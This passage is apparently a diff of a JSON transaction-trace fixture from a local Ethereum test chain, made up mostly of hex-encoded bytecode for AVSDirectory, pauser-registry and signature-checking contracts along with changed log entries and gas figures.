509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220238443f68aaa842a8a83f4f495dfe8380aabe34389d5eb96ae3c1857b4d66ef664736f6c634300081b0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9", + "output": "0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220238443f68aaa842a8a83f4f495dfe8380aabe34389d5eb96ae3c1857b4d66ef664736f6c634300081b0033", + "gas_used": 1560351, + "gas_limit": 2081559, "status": "Return", "steps": [], "decoded": { @@ -4386,48 +4404,9 @@ { "raw_log": { "topics": [ - "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" - ], - "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" - ], - "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" - ], - "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892" + "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" }, "decoded": { "name": null, @@ -4439,70 +4418,94 @@ "ordering": [ { "Log": 0 - }, - { - "Log": 1 - }, - { - "Log": 2 - }, - { - "Log": 3 } ] } ], "exit": "Return", - "out": "0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea26469706673582212200f9bddaf281b593acba4d40ad0f8076fa9190d1d819fa1d3c292d86b7ab6684564736f6c634300081c0033", - "nonce": 1, - "gas_used": 338342 + "out": "0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e61604